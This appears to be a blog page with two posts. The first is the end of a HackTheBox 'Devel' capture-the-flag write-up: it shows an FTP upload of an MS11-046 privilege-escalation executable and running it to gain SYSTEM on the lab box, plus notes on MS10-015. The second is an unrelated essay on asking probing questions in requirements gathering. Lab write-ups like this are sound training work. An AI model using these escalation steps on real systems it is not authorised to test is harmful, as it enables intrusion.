It’s important to note (and I found out the hard way, that Firefox (and probably chrome) seem to block or modify the downloads of malicious .exes (found that out after trying to run several, hence the wget).

Transfer the file:

```─➤ ftp
Connected to 220 Microsoft FTP Service Name ( anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> bin 200 Type set to I. ftp> send /home/initinfosec/writeups/HTB/devel/exploits/MS11-049/ms11-046.exe do_work.exe 200 PORT command successful. 125 Data connection already open; Transfer starting. 226 Transfer complete. 112815 bytes sent in 0.0874 seconds (1.23 Mbytes/s) ftp> bye 221 Goodbye.

and run on the remote shell:

C:\inetpub\wwwroot>.\do_work.exe .\do_work.exe

c:\Windows\System32>whoami whoami nt authority\system ```

Woo! finally we have system access! From here we can grab both the user flag (in babis desktop folder) and the root flag (in the Adminstrator dekstop folder.)

Thanks for hanging in there! Hope you found this useful.    


  N.B. – It’s of some interest to note that the official walkthrough and the IppSec video make use of the metasploit exploit suggester module. After being unsure of how to privesc, I initially tried this, and It recommended MS10-015. If you were to run this using the metasploit module (which I tried initially, it does catch the system shell. So presumably there is some logic in the .rb exploit to grab the secondary shell that spawns into the current session. So perhaps re-working the exploit to work in a single shell manually would be possible.)   Since I was trying to use this for PWK prep, I decided to go back and do the manual method, which for me, involved a lot of guess and check.   If anyone has more information on how MS10-015 behaves, and how you could potentially leverage MS10-015 in a single shell session, or how meterpreter/metasploit handles this exploit (at a high level, i’m not a l337 guru :)), I’d love to hear. You can reach out to me at @initinfosec on twitter or initinfosec@protonmail.com

Asking Probing Questions to get to the “Real Requirements”

25 September 2019


My grandpa was an engineer and a farmer, and as a kid I spent many summer weeks at my grandparents’ farm. I was introduced to centrifugal and centripetal forces as a youngster while helping my grandpa feed the many farm cats – after filling up their bowls with calf milk replacer, he’d fill the bucket with water and spin it in a vertical circle. To my amazement, the water didn’t come pouring out even though the bucket was upside down! (Add that to your list of ways to blow a child’s mind!)

My dad is a mechanical engineer. I grew up in an environment where inquisitive questions, dinner conversations about the doppler effect and circuit breakers were the norm. In the winter, when the woodstove in the corner of the living room was lit, my dad, brother, and I huddled around and discussed the three modes of heat transfer.

I’m an inquisitive science nerd, and I’m pretty sure I know where I got it from… These discussions and experiences not only made perpetually curious about the world around me, but also taught me how to ask the right questions to get to the bottom of whatever I was curious about. These days, I’m curious about requirements gathering!

This summer, I designed a database schema for a friend (and absolute genius of a coder – @capnspacehook) to use as a backend for the project he’s working on. We had many interesting conversations about how to design the schema. During these conversations, I noticed a pattern: my friend would mention an idea he had for the database schema. Then, partially because I had a hard time grasping the full context of the idea and partially because I had an inkling that there was a more efficient way to implement it, I would ask one or more probing questions:

  • Why do you want a many to many relationship between table x and table y?
  • Can you tell me more about ___ and why you want it that way?
  • A more efficient way to do the same thing might be to ___.
  • Do you think __ would work? Is there something I didn’t consider?
  • So what I think you’re saying is ___. Is that right?

Most of these questions are pretty open ended. Asking the right kind of question in the right way is just as important as asking the question in the first place! These questions are crafted in such a way that when the client answers, they are providing context and a deeper understanding of the problem at hand.

All these questions are aimed at the same thing – gaining context and understanding what I call the ‘real requirement’. Oftentimes, a requirement is what the customer thinks they want. A real requirement is the best solution to the underlying question, issue, or sometimes even misunderstanding that led the customer to state their initial requirement. Determining the real requirement involves understanding why the customer suggested the requirement that they did.

Understanding the why behind an initial request will lead you to the real requirement – the best solution for the customer’s problem. And the best way to understand the why? Ask probing questions. Never assume you understand what the customer actually needs until you’ve asked enough questions and the customer has affirmed your restatement of their need. This is difficult, because the client doesn’t always know exactly what they want or need. Helping the client figure that out is the hard part of the requirements gathering process.

According to my dad, who sometimes travels to customer sites to troubleshoot circuit breakers says that “The company says the customer is always right… But in the real world you get half of the story and only half of that is true.” He tells the story better (and with much more technical detail), but once a customer kept rejecting a circuit breaker because of an error with a certain register. After visiting the client site and asking probing questions, my dad discovered that the client was concerned about the integrity of a different set of registers because of the issue with the certain register, and that was why they rejected the product. After explaining the differences between the two sets of registers and assuaging the customer’s concerns, he was able to move forward with the project.

It’s tempting to take the customer’s request at face value and turn it into a requirement, but it’s important to ask probing questions, get to the bottom of the problem, and make sure the customer gets the best solution possible!